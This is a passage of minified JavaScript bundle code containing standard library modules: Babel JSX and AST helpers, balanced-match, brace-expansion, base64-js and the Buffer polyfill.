");l||(p=p.replace(/^[ ]+/,"")),c||(p=p.replace(/[ ]+$/,"")),p&&(f||(p+=" "),s+=p)}s&&t.push(o.stringLiteral(s))}function s(e){for(var t=[],r=0;r<e.children.length;r++){var n=e.children[r];o.isJSXText(n)?i(n,t):(o.isJSXExpressionContainer(n)&&(n=n.expression),o.isJSXEmptyExpression(n)||t.push(n))}return t}t.__esModule=!0,t.isReactComponent=void 0,t.isCompatTag=n,t.buildChildren=s;var a=r(1),o=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(a);t.isReactComponent=o.buildMatchMemberExpression("React.Component")},function(e,t,r){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}function i(e,t){var r=E.getBindingIdentifiers.keys[t.type];if(r)for(var n=0;n<r.length;n++){var i=r[n],s=t[i];if(Array.isArray(s)){if(s.indexOf(e)>=0)return!0}else if(s===e)return!0}return!1}function s(e,t){switch(t.type){case"BindExpression":return t.object===e||t.callee===e;case"MemberExpression":case"JSXMemberExpression":return!(t.property!==e||!t.computed)||t.object===e;case"MetaProperty":return!1;case"ObjectProperty":if(t.key===e)return t.computed;case"VariableDeclarator":return t.id!==e;case"ArrowFunctionExpression":case"FunctionDeclaration":case"FunctionExpression":for(var r=t.params,n=Array.isArray(r),i=0,r=n?r:(0,b.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}if(s===e)return!1}return t.id!==e;case"ExportSpecifier":return!t.source&&t.local===e;case"ExportNamespaceSpecifier":case"ExportDefaultSpecifier":return!1;case"JSXAttribute":return t.name!==e;case"ClassProperty":return t.key===e?t.computed:t.value===e;case"ImportDefaultSpecifier":case"ImportNamespaceSpecifier":case"ImportSpecifier":return!1;case"ClassDeclaration":case"ClassExpression":return t.id!==e;case"ClassMethod":case"ObjectMethod":return t.key===e&&t.computed;case"LabeledStatement":return!1;case"CatchClause":return t.param!==e;case"RestElement":return!1;case"AssignmentExpression":case"AssignmentPattern":return t.right===e;case"ObjectPattern":case"ArrayPattern":return!1}return!0}function a(e){return"string"==typeof e&&!A.default.keyword.isReservedWordES6(e,!0)&&("await"!==e&&A.default.keyword.isIdentifierNameES6(e))}function o(e){return _.isVariableDeclaration(e)&&("var"!==e.kind||e[D.BLOCK_SCOPED_SYMBOL])}function u(e){return _.isFunctionDeclaration(e)||_.isClassDeclaration(e)||_.isLet(e)}function l(e){return _.isVariableDeclaration(e,{kind:"var"})&&!e[D.BLOCK_SCOPED_SYMBOL]}function c(e){return _.isImportDefaultSpecifier(e)||_.isIdentifier(e.imported||e.exported,{name:"default"})}function f(e,t){return(!_.isBlockStatement(e)||!_.isFunction(t,{body:e}))&&_.isScopable(e)}function p(e){return!!_.isType(e.type,"Immutable")||!!_.isIdentifier(e)&&"undefined"===e.name}function d(e,t){if("object"!==(void 0===e?"undefined":(0,v.default)(e))||"object"!==(void 0===e?"undefined":(0,v.default)(e))||null==e||null==t)return e===t;if(e.type!==t.type)return!1;for(var r=(0,m.default)(_.NODE_FIELDS[e.type]||e.type),n=r,i=Array.isArray(n),s=0,n=i?n:(0,b.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;if((0,v.default)(e[o])!==(0,v.default)(t[o]))return!1;if(Array.isArray(e[o])){if(!Array.isArray(t[o]))return!1;if(e[o].length!==t[o].length)return!1;for(var u=0;u<e[o].length;u++)if(!d(e[o][u],t[o][u]))return!1}else if(!d(e[o],t[o]))return!1}return!0}t.__esModule=!0;var h=r(14),m=n(h),y=r(11),v=n(y),g=r(2),b=n(g);t.isBinding=i,t.isReferenced=s,t.isValidIdentifier=a,t.isLet=o,t.isBlockScoped=u,t.isVar=l,t.isSpecifierDefault=c,t.isScope=f,t.isImmutable=p,t.isNodesEquivalent=d;var E=r(226),x=r(97),A=n(x),S=r(1),_=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(S),D=r(135)},function(e,t){"use strict";function r(e,t,r){e instanceof RegExp&&(e=n(e,r)),t instanceof RegExp&&(t=n(t,r));var s=i(e,t,r);return s&&{start:s[0],end:s[1],pre:r.slice(0,s[0]),body:r.slice(s[0]+e.length,s[1]),post:r.slice(s[1]+t.length)}}function n(e,t){var r=t.match(e);return r?r[0]:null}function i(e,t,r){var n,i,s,a,o,u=r.indexOf(e),l=r.indexOf(t,u+1),c=u;if(u>=0&&l>0){for(n=[],s=r.length;c>=0&&!o;)c==u?(n.push(c),u=r.indexOf(e,c+1)):1==n.length?o=[n.pop(),l]:(i=n.pop(),i<s&&(s=i,a=l),l=r.indexOf(t,c+1)),c=u<l&&u>=0?u:l;n.length&&(o=[s,a])}return o}e.exports=r,r.range=i},function(e,t){"use strict";function r(e){var t=e.length;if(t%4>0)throw new Error("Invalid string. Length must be a multiple of 4");return"="===e[t-2]?2:"="===e[t-1]?1:0}function n(e){return 3*e.length/4-r(e)}function i(e){var t,n,i,s,a,o=e.length;s=r(e),a=new c(3*o/4-s),n=s>0?o-4:o;var u=0;for(t=0;t<n;t+=4)i=l[e.charCodeAt(t)]<<18|l[e.charCodeAt(t+1)]<<12|l[e.charCodeAt(t+2)]<<6|l[e.charCodeAt(t+3)],a[u++]=i>>16&255,a[u++]=i>>8&255,a[u++]=255&i;return 2===s?(i=l[e.charCodeAt(t)]<<2|l[e.charCodeAt(t+1)]>>4,a[u++]=255&i):1===s&&(i=l[e.charCodeAt(t)]<<10|l[e.charCodeAt(t+1)]<<4|l[e.charCodeAt(t+2)]>>2,a[u++]=i>>8&255,a[u++]=255&i),a}function s(e){return u[e>>18&63]+u[e>>12&63]+u[e>>6&63]+u[63&e]}function a(e,t,r){for(var n,i=[],a=t;a<r;a+=3)n=(e[a]<<16)+(e[a+1]<<8)+e[a+2],i.push(s(n));return i.join("")}function o(e){for(var t,r=e.length,n=r%3,i="",s=[],o=0,l=r-n;o<l;o+=16383)s.push(a(e,o,o+16383>l?l:o+16383));return 1===n?(t=e[r-1],i+=u[t>>2],i+=u[t<<4&63],i+="=="):2===n&&(t=(e[r-2]<<8)+e[r-1],i+=u[t>>10],i+=u[t>>4&63],i+=u[t<<2&63],i+="="),s.push(i),s.join("")}t.byteLength=n,t.toByteArray=i,t.fromByteArray=o;for(var u=[],l=[],c="undefined"!=typeof Uint8Array?Uint8Array:Array,f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",p=0,d=f.length;p<d;++p)u[p]=f[p],l[f.charCodeAt(p)]=p;l["-".charCodeAt(0)]=62,l["_".charCodeAt(0)]=63},function(e,t,r){"use strict";function n(e){return parseInt(e,10)==e?parseInt(e,10):e.charCodeAt(0)}function i(e){return e.split("\\\\").join(m).split("\\{").join(y).split("\\}").join(v).split("\\,").join(g).split("\\.").join(b)}function s(e){return e.split(m).join("\\").split(y).join("{").split(v).join("}").split(g).join(",").split(b).join(".")}function a(e){if(!e)return[""];var t=[],r=h("{","}",e);if(!r)return e.split(",");var n=r.pre,i=r.body,s=r.post,o=n.split(",");o[o.length-1]+="{"+i+"}";var u=a(s);return s.length&&(o[o.length-1]+=u.shift(),o.push.apply(o,u)),t.push.apply(t,o),t}function o(e){return e?("{}"===e.substr(0,2)&&(e="\\{\\}"+e.substr(2)),p(i(e),!0).map(s)):[]}function u(e){return"{"+e+"}"}function l(e){return/^-?0\d/.test(e)}function c(e,t){return e<=t}function f(e,t){return e>=t}function p(e,t){var r=[],i=h("{","}",e);if(!i||/\$$/.test(i.pre))return[e];var s=/^-?\d+\.\.-?\d+(?:\.\.-?\d+)?$/.test(i.body),o=/^[a-zA-Z]\.\.[a-zA-Z](?:\.\.-?\d+)?$/.test(i.body),m=s||o,y=i.body.indexOf(",")>=0;if(!m&&!y)return i.post.match(/,.*\}/)?(e=i.pre+"{"+i.body+v+i.post,p(e)):[e];var g;if(m)g=i.body.split(/\.\./);else if(g=a(i.body),1===g.length&&(g=p(g[0],!1).map(u),1===g.length)){var b=i.post.length?p(i.post,!1):[""];return b.map(function(e){return i.pre+g[0]+e})}var E,x=i.pre,b=i.post.length?p(i.post,!1):[""];if(m){var A=n(g[0]),S=n(g[1]),_=Math.max(g[0].length,g[1].length),D=3==g.length?Math.abs(n(g[2])):1,C=c;S<A&&(D*=-1,C=f);var w=g.some(l);E=[];for(var P=A;C(P,S);P+=D){var k;if(o)"\\"===(k=String.fromCharCode(P))&&(k="");else if(k=String(P),w){var F=_-k.length;if(F>0){var T=new Array(F+1).join("0");k=P<0?"-"+T+k.slice(1):T+k}}E.push(k)}}else E=d(g,function(e){return p(e,!1)});for(var O=0;O<E.length;O++)for(var B=0;B<b.length;B++){var R=x+E[O]+b[B];(!t||m||R)&&r.push(R)}return r}var d=r(402),h=r(396);e.exports=o;var m="\0SLASH"+Math.random()+"\0",y="\0OPEN"+Math.random()+"\0",v="\0CLOSE"+Math.random()+"\0",g="\0COMMA"+Math.random()+"\0",b="\0PERIOD"+Math.random()+"\0"},function(e,t,r){(function(e){"use strict";function n(){return s.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function i(e,t){if(n()<t)throw new RangeError("Invalid typed array length");return s.TYPED_ARRAY_SUPPORT?(e=new Uint8Array(t),e.__proto__=s.prototype):(null===e&&(e=new s(t)),e.length=t),e}function s(e,t,r){if(!(s.TYPED_ARRAY_SUPPORT||this instanceof s))return new s(e,t,r);if("number"==typeof e){if("string"==typeof t)throw new Error("If encoding is specified then the first argument must be a string");return l(this,e)}return a(this,e,t,r)}function a(e,t,r,n){if("number"==typeof t)throw new TypeError('"value" argument must not be a number')
;return"undefined"!=typeof ArrayBuffer&&t instanceof ArrayBuffer?p(e,t,r,n):"string"==typeof t?c(e,t,r):d(e,t)}function o(e){if("number"!=typeof e)throw new TypeError('"size" argument must be a number');if(e<0)throw new RangeError('"size" argument must not be negative')}function u(e,t,r,n){return o(t),t<=0?i(e,t):void 0!==r?"string"==typeof n?i(e,t).fill(r,n):i(e,t).fill(r):i(e,t)}function l(e,t){if(o(t),e=i(e,t<0?0:0|h(t)),!s.TYPED_ARRAY_SUPPORT)for(var r=0;r<t;++r)e[r]=0;return e}function c(e,t,r){if("string"==typeof r&&""!==r||(r="utf8"),!s.isEncoding(r))throw new TypeError('"encoding" must be a valid string encoding');var n=0|y(t,r);e=i(e,n);var a=e.write(t,r);return a!==n&&(e=e.slice(0,a)),e}function f(e,t){var r=t.length<0?0:0|h(t.length);e=i(e,r);for(var n=0;n<r;n+=1)e[n]=255&t[n];return e}function p(e,t,r,n){if(t.byteLength,r<0||t.byteLength<r)throw new RangeError("'offset' is out of bounds");if(t.byteLength<r+(n||0))throw new RangeError("'length' is out of bounds");return t=void 0===r&&void 0===n?new Uint8Array(t):void 0===n?new Uint8Array(t,r):new Uint8Array(t,r,n),s.TYPED_ARRAY_SUPPORT?(e=t,e.__proto__=s.prototype):e=f(e,t),e}function d(e,t){if(s.isBuffer(t)){var r=0|h(t.length);return e=i(e,r),0===e.length?e:(t.copy(e,0,0,r),e)}if(t){if("undefined"!=typeof ArrayBuffer&&t.buffer instanceof ArrayBuffer||"length"in t)return"number"!=typeof t.length||X(t.length)?i(e,0):f(e,t);if("Buffer"===t.type&&Q(t.data))return f(e,t.data)}throw new TypeError("First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.")}function h(e){if(e>=n())throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+n().toString(16)+" bytes");return 0|e}function m(e){return+e!=e&&(e=0),s.alloc(+e)}function y(e,t){if(s.isBuffer(e))return e.length;if("undefined"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;"string"!=typeof e&&(e=""+e);var r=e.length;if(0===r)return 0;for(var n=!1;;)switch(t){case"ascii":case"latin1":case"binary":return r;case"utf8":case"utf-8":case void 0:return Y(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*r;case"hex":return r>>>1;case"base64":return H(e).length;default:if(n)return Y(e).length;t=(""+t).toLowerCase(),n=!0}}function v(e,t,r){var n=!1;if((void 0===t||t<0)&&(t=0),t>this.length)return"";if((void 0===r||r>this.length)&&(r=this.length),r<=0)return"";if(r>>>=0,t>>>=0,r<=t)return"";for(e||(e="utf8");;)switch(e){case"hex":return O(this,t,r);case"utf8":case"utf-8":return P(this,t,r);case"ascii":return F(this,t,r);case"latin1":case"binary":return T(this,t,r);case"base64":return w(this,t,r);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return B(this,t,r);default:if(n)throw new TypeError("Unknown encoding: "+e);e=(e+"").toLowerCase(),n=!0}}function g(e,t,r){var n=e[t];e[t]=e[r],e[r]=n}function b(e,t,r,n,i){if(0===e.length)return-1;if("string"==typeof r?(n=r,r=0):r>2147483647?r=2147483647:r<-2147483648&&(r=-2147483648),r=+r,isNaN(r)&&(r=i?0:e.length-1),r<0&&(r=e.length+r),r>=e.length){if(i)return-1;r=e.length-1}else if(r<0){if(!i)return-1;r=0}if("string"==typeof t&&(t=s.from(t,n)),s.isBuffer(t))return 0===t.length?-1:E(e,t,r,n,i);if("number"==typeof t)return t&=255,s.TYPED_ARRAY_SUPPORT&&"function"==typeof Uint8Array.prototype.indexOf?i?Uint8Array.prototype.indexOf.call(e,t,r):Uint8Array.prototype.lastIndexOf.call(e,t,r):E(e,[t],r,n,i);throw new TypeError("val must be string, number or Buffer")}function E(e,t,r,n,i){function s(e,t){return 1===a?e[t]:e.readUInt16BE(t*a)}var a=1,o=e.length,u=t.length;if(void 0!==n&&("ucs2"===(n=String(n).toLowerCase())||"ucs-2"===n||"utf16le"===n||"utf-16le"===n)){if(e.length<2||t.length<2)return-1;a=2,o/=2,u/=2,r/=2}var l;if(i){var c=-1;for(l=r;l<o;l++)if(s(e,l)===s(t,-1===c?0:l-c)){if(-1===c&&(c=l),l-c+1===u)return c*a}else-1!==c&&(l-=l-c),c=-1}else for(r+u>o&&(r=o-u),l=r;l>=0;l--){for(var f=!0,p=0;p<u;p++)if(s(e,l+p)!==s(t,p)){f=!1;break}if(f)return l}return-1}function x(e,t,r,n){r=Number(r)||0;var i=e.length-r;n?(n=Number(n))>i&&(n=i):n=i;var s=t.length;if(s%2!=0)throw new TypeError("Invalid hex string");n>s/2&&(n=s/2);for(var a=0;a<n;++a){var o=parseInt(t.substr(2*a,2),16);if(isNaN(o))return a;e[r+a]=o}return a}function A(e,t,r,n){return J(Y(t,e.length-r),e,r,n)}function S(e,t,r,n){return J(q(t),e,r,n)}function _(e,t,r,n){return S(e,t,r,n)}function D(e,t,r,n){return J(H(t),e,r,n)}function C(e,t,r,n){return J(K(t,e.length-r),e,r,n)}function w(e,t,r){return 0===t&&r===e.length?z.fromByteArray(e):z.fromByteArray(e.slice(t,r))}function P(e,t,r){r=Math.min(e.length,r);for(var n=[],i=t;i<r;){var s=e[i],a=null,o=s>239?4:s>223?3:s>191?2:1;if(i+o<=r){var u,l,c,f;switch(o){case 1:s<128&&(a=s);break;case 2:u=e[i+1],128==(192&u)&&(f=(31&s)<<6|63&u)>127&&(a=f);break;case 3:u=e[i+1],l=e[i+2],128==(192&u)&&128==(192&l)&&(f=(15&s)<<12|(63&u)<<6|63&l)>2047&&(f<55296||f>57343)&&(a=f);break;case 4:u=e[i+1],l=e[i+2],c=e[i+3],128==(192&u)&&128==(192&l)&&128==(192&c)&&(f=(15&s)<<18|(63&u)<<12|(63&l)<<6|63&c)>65535&&f<1114112&&(a=f)}}null===a?(a=65533,o=1):a>65535&&(a-=65536,n.push(a>>>10&1023|55296),a=56320|1023&a),n.push(a),i+=o}return k(n)}function k(e){var t=e.length;if(t<=Z)return String.fromCharCode.apply(String,e);for(var r="",n=0;n<t;)r+=String.fromCharCode.apply(String,e.slice(n,n+=Z));return r}function F(e,t,r){var n="";r=Math.min(e.length,r);for(var i=t;i<r;++i)n+=String.fromCharCode(127&e[i]);return n}function T(e,t,r){var n="";r=Math.min(e.length,r);for(var i=t;i<r;++i)n+=String.fromCharCode(e[i]);return n}function O(e,t,r){var n=e.length;(!t||t<0)&&(t=0),(!r||r<0||r>n)&&(r=n);for(var i="",s=t;s<r;++s)i+=W(e[s]);return i}function B(e,t,r){for(var n=e.slice(t,r),i="",s=0;s<n.length;s+=2)i+=String.fromCharCode(n[s]+256*n[s+1]);return i}function R(e,t,r){if(e%1!=0||e<0)throw new RangeError("offset is not uint");if(e+t>r)throw new RangeError("Trying to access beyond buffer length")}function I(e,t,r,n,i,a){if(!s.isBuffer(e))throw new TypeError('"buffer" argument must be a Buffer instance');if(t>i||t<a)throw new RangeError('"value" argument is out of bounds');if(r+n>e.length)throw new RangeError("Index out of range")}function M(e,t,r,n){t<0&&(t=65535+t+1);for(var i=0,s=Math.min(e.length-r,2);i<s;++i)e[r+i]=(t&255<<8*(n?i:1-i))>>>8*(n?i:1-i)}function N(e,t,r,n){t<0&&(t=4294967295+t+1);for(var i=0,s=Math.min(e.length-r,4);i<s;++i)e[r+i]=t>>>8*(n?i:3-i)&255}function L(e,t,r,n,i,s){if(r+n>e.length)throw new RangeError("Index out of range");if(r<0)throw new RangeError("Index out of range")}function j(e,t,r,n,i){return i||L(e,t,r,4,3.4028234663852886e38,-3.4028234663852886e38),$.write(e,t,r,n,23,4),r+4}function U(e,t,r,n,i){return i||L(e,t,r,8,1.7976931348623157e308,-1.7976931348623157e308),$.write(e,t,r,n,52,8),r+8}function V(e){if(e=G(e).replace(ee,""),e.length<2)return"";for(;e.length%4!=0;)e+="=";return e}function G(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,"")}function W(e){return e<16?"0"+e.toString(16):e.toString(16)}function Y(e,t){t=t||1/0;for(var r,n=e.length,i=null,s=[],a=0;a<n;++a){if((r=e.charCodeAt(a))>55295&&r<57344){if(!i){if(r>56319){(t-=3)>-1&&s.push(239,191,189);continue}if(a+1===n){(t-=3)>-1&&s.push(239,191,189);continue}i=r;continue}if(r<56320){(t-=3)>-1&&s.push(239,191,189),i=r;continue}r=65536+(i-55296<<10|r-56320)}else i&&(t-=3)>-1&&s.push(239,191,189);if(i=null,r<128){if((t-=1)<0)break;s.push(r)}else if(r<2048){if((t-=2)<0)break;s.push(r>>6|192,63&r|128)}else if(r<65536){if((t-=3)<0)break;s.push(r>>12|224,r>>6&63|128,63&r|128)}else{if(!(r<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;s.push(r>>18|240,r>>12&63|128,r>>6&63|128,63&r|128)}}return s}function q(e){for(var t=[],r=0;r<e.length;++r)t.push(255&e.charCodeAt(r));return t}function K(e,t){for(var r,n,i,s=[],a=0;a<e.length&&!((t-=2)<0);++a)r=e.charCodeAt(a),n=r>>8,i=r%256,s.push(i),s.push(n);return s}function H(e){return z.toByteArray(V(e))}function J(e,t,r,n){for(var i=0;i<n&&!(i+r>=t.length||i>=e.length);++i)t[i+r]=e[i];return i}function X(e){return e!==e}var z=r(397),$=r(465),Q=r(400);t.Buffer=s,t.SlowBuffer=m,t.INSPECT_MAX_BYTES=50,s.TYPED_ARRAY_SUPPORT=void 0!==e.TYPED_ARRAY_SUPPORT?e.TYPED_ARRAY_SUPPORT:function(){try{var e=new Uint8Array(1);return e.__proto__={__proto__:Uint8Array.prototype,foo:function(){return 42}},42===e.foo()&&"function"==typeof e.subarray&&0===e.subarray(1,1).byteLength}catch(e){return!1}}(),t.kMaxLength=n(),s.poolSize=8192,s._augment=function(e){return e.__proto__=s.prototype,e},s.from=function(e,t,r){return a(null,e,t,r)},s.TYPED_ARRAY_SUPPORT&&(s.prototype.__proto__=Uint8Array.prototype,s.__proto__=Uint8Array,"undefined"!=typeof Symbol&&Symbol.species&&s[Symbol.species]===s&&Object.defineProperty(s,Symbol.species,{value:null,configurable:!0})),s.alloc=function(e,t,r){return u(null,e,t,r)},s.allocUnsafe=function(e){return l(null,e)},s.allocUnsafeSlow=function(e){return l(null,e)},s.isBuffer=function(e){return!(null==e||!e._isBuffer)},s.compare=function(e,t){if(!s.isBuffer(e)||!s.isBuffer(t))throw new TypeError("Arguments must be Buffers");if(e===t)return 0;for(var r=e.length,n=t.length,i=0,a=Math.min(r,n);i<a;++i)if(e[i]!==t[i]){r=e[i],n=t[i];break}return r<n?-1:n<r?1:0},s.isEncoding=function(e){switch(String(e).toLowerCase()){case"hex":case"utf8":case"utf-8":case"ascii":case"latin1":case"binary":case"base64":case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return!0;default:return!1}},s.concat=function(e,t){if(!Q(e))throw new TypeError('"list" argument must be an Array of Buffers');if(0===e.length)return s.alloc(0);var r;if(void 0===t)for(t=0,r=0;r<e.length;++r)t+=e[r].length;var n=s.allocUnsafe(t),i=0;for(r=0;r<e.length;++r){var a=e[r];if(!s.isBuffer(a))throw new TypeError('"list" argument must be an Array of Buffers');a.copy(n,i),i+=a.length}return n},s.byteLength=y,s.prototype._isBuffer=!0,s.prototype.swap16=function(){var e=this.length;if(e%2!=0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(var t=0;t<e;t+=2)g(this,t,t+1);return this},s.prototype.swap32=function(){var e=this.length;if(e%4!=0)throw new RangeError("Buffer size must be a multiple of 32-bits");for(var t=0;t<e;t+=4)g(this,t,t+3),g(this,t+1,t+2);return this},s.prototype.swap64=function(){var e=this.length;if(e%8!=0)throw new RangeError("Buffer size must be a multiple of 64-bits");for(var t=0;t<e;t+=8)g(this,t,t+7),g(this,t+1,t+6),g(this,t+2,t+5),g(this,t+3,t+4);return this},s.prototype.toString=function(){var e=0|this.length;return 0===e?"":0===arguments.length?P(this,0,e):v.apply(this,arguments)},s.prototype.equals=function(e){if(!s.isBuffer(e))throw new TypeError("Argument must be a Buffer");return this===e||0===s.compare(this,e)},s.prototype.inspect=function(){var e="",r=t.INSPECT_MAX_BYTES;return this.length>0&&(e=this.toString("hex",0,r).match(/.{2}/g).join(" "),this.length>r&&(e+=" ... ")),"<Buffer "+e+">"},s.prototype.compare=function(e,t,r,n,i){if(!s.isBuffer(e))throw new TypeError("Argument must be a Buffer");if(void 0===t&&(t=0),void 0===r&&(r=e?e.length:0),void 0===n&&(n=0),void 0===i&&(i=this.length),t<0||r>e.length||n<0||i>this.length)throw new RangeError("out of range index");if(n>=i&&t>=r)return 0;if(n>=i)return-1;if(t>=r)return 1;if(t>>>=0,r>>>=0,n>>>=0,i>>>=0,this===e)return 0;for(var a=i-n,o=r-t,u=Math.min(a,o),l=this.slice(n,i),c=e.slice(t,r),f=0;f<u;++f)if(l[f]!==c[f]){a=l[f],o=c[f];break}return a<o?-1:o<a?1:0},s.prototype.includes=function(e,t,r){return-1!==this.indexOf(e,t,r)},s.prototype.indexOf=function(e,t,r){return b(this,e,t,r,!0)},s.prototype.lastIndexOf=function(e,t,r){return b(this,e,t,r,!1)},s.prototype.write=function(e,t,r,n){if(void 0===t)n="utf8",r=this.length,t=0;else if(void 0===r&&"string"==typeof t)n=t,r=this.length,t=0;else{if(!isFinite(t))throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");t|=0,isFinite(r)?(r|=0,void 0===n&&(n="utf8")):(n=r,r=void 0)}var i=this.length-t;if((void 0===r||r>i)&&(r=i),e.length>0&&(r<0||t<0)||t>this.length)throw new RangeError("Attempt to write outside buffer bounds");n||(n="utf8");for(var s=!1;;)switch(n){case"hex":return x(this,e,t,r);case"utf8":case"utf-8":return A(this,e,t,r);case"ascii":return S(this,e,t,r);case"latin1":case"binary":return _(this,e,t,r);case"base64":return D(this,e,t,r);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return C(this,e,t,r);default:if(s)throw new TypeError("Unknown encoding: "+n);n=(""+n).toLowerCase(),s=!0}},s.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};var Z=4096;s.prototype.slice=function(e,t){var r=this.length;e=~~e,t=void 0===t?r:~~t,e<0?(e+=r)<0&&(e=0):e>r&&(e=r),t<0?(t+=r)<0&&(t=0):t>r&&(t=r),t<e&&(t=e);var n;if(s.TYPED_ARRAY_SUPPORT)n=this.subarray(e,t),n.__proto__=s.prototype;else{var i=t-e;n=new s(i,void 0);for(var a=0;a<i;++a)n[a]=this[a+e]}return n},s.prototype.readUIntLE=function(e,t,r){e|=0,t|=0,r||R(e,t,this.length);for(var n=this[e],i=1,s=0;++s<t&&(i*=256);)n+=this[e+s]*i;return n},s.prototype.readUIntBE=function(e,t,r){e|=0,t|=0,r||R(e,t,this.length);for(var n=this[e+--t],i=1;t>0&&(i*=256);)n+=this[e+--t]*i;return n},s.prototype.readUInt8=function(e,t){return t||R(e,1,this.length),this[e]},s.prototype.readUInt16LE=function(e,t){return t||R(e,2,this.length),this[e]|this[e+1]<<8},s.prototype.readUInt16BE=function(e,t){return t||R(e,2,this.length),this[e]<<8|this[e+1]},s.prototype.readUInt32LE=function(e,t){return t||R(e,4,this.length),(this[e]|this[e+1]<<8|this[e+2]<<16)+16777216*this[e+3]},s.prototype.readUInt32BE=function(e,t){return t||R(e,4,this.length),16777216*this[e]+(this[e+1]<<16|this[e+2]<<8|this[e+3])},s.prototype.readIntLE=function(e,t,r){e|=0,t|=0,r||R(e,t,this.length);for(var n=this[e],i=1,s=0;++s<t&&(i*=256);)n+=this[e+s]*i;return i*=128,n>=i&&(n-=Math.pow(2,8*t)),n},s.prototype.readIntBE=function(e,t,r){e|=0,t|=0,r||R(e,t,this.length);for(var n=t,i=1,s=this[e+--n];n>0&&(i*=256);)s+=this[e+--n]*i;return i*=128,s>=i&&(s-=Math.pow(2,8*t)),s},s.prototype.readInt8=function(e,t){return t||R(e,1,this.length),128&this[e]?-1*(255-this[e]+1):this[e]},s.prototype.readInt16LE=function(e,t){t||R(e,2,this.length);var r=this[e]|this[e+1]<<8;return 32768&r?4294901760|r:r},s.prototype.readInt16BE=function(e,t){t||R(e,2,this.length);var r=this[e+1]|this[e]<<8;return 32768&r?4294901760|r:r},s.prototype.readInt32LE=function(e,t){return t||R(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24},s.prototype.readInt32BE=function(e,t){return t||R(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]},s.prototype.readFloatLE=function(e,t){return t||R(e,4,this.length),$.read(this,e,!0,23,4)},s.prototype.readFloatBE=function(e,t){return t||R(e,4,this.length),$.read(this,e,!1,23,4)},s.prototype.readDoubleLE=function(e,t){return t||R(e,8,this.length),$.read(this,e,!0,52,8)},s.prototype.readDoubleBE=function(e,t){return t||R(e,8,this.length),$.read(this,e,!1,52,8)},s.prototype.writeUIntLE=function(e,t,r,n){if(e=+e,t|=0,r|=0,!n){I(this,e,t,r,Math.pow(2,8*r)-1,0)}var i=1,s=0;for(this[t]=255&e;++s<r&&(i*=256);)this[t+s]=e/i&255;return t+r},s.prototype.writeUIntBE=function(e,t,r,n){if(e=+e,t|=0,r|=0,!n){I(this,e,t,r,Math.pow(2,8*r)-1,0)}var i=r-1,s=1;for(this[t+i]=255&e;--i>=0&&(s*=256);)this[t+i]=e/s&255;return t+r},s.prototype.writeUInt8=function(e,t,r){return e=+e,t|=0,r||I(this,e,t,1,255,0),s.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),this[t]=255&e,t+1},s.prototype.writeUInt16LE=function(e,t,r){return e=+e,t|=0,r||I(this,e,t,2,65535,0),s.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):M(this,e,t,!0),t+2},s.prototype.writeUInt16BE=function(e,t,r){return e=+e,t|=0,r||I(this,e,t,2,65535,0),s.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):M(this,e,t,!1),t+2},s.prototype.writeUInt32LE=function(e,t,r){return e=+e,t|=0,r||I(this,e,t,4,4294967295,0),s.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):N(this,e,t,!0),t+4},s.prototype.writeUInt32BE=function(e,t,r){return e=+e,t|=0,r||I(this,e,t,4,4294967295,0),s.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):N(this,e,t,!1),t+4},s.prototype.writeIntLE=function(e,t,r,n){if(e=+e,t|=0,!n){var i=Math.pow(2,8*r-1);I(this,e,t,r,i-1,-i)}var s=0,a=1,o=0;for(this[t]=255&e;++s<r&&(a*=256);)e<0&&0===o&&0!==this[t+s-1]&&(o=1),this[t+s]=(e/a>>0)-o&255;return t+r},s.prototype.writeIntBE=function(e,t,r,n){if(e=+e,t|=0,!n){var i=Math.pow(2,8*r-1);I(this,e,t,r,i-1,-i)}var s=r-1,a=1,o=0;for(this[t+s]=255&e;--s>=0&&(a*=256);)e<0&&0===o&&0!==this[t+s+1]&&(o=1),this[t+s]=(e/a>>0)-o&255;return t+r},s.prototype.writeInt8=function(e,t,r){return e=+e,t|=0,r||I(this,e,t,1,127,-128),s.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),e<0&&(e=255+e+1),this[t]=255&e,t+1},s.prototype.writeInt16LE=function(e,t,r){return e=+e,t|=0,r||I(this,e,t,2,32767,-32768),s.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):M(this,e,t,!0),t+2},s.prototype.writeInt16BE=function(e,t,r){return 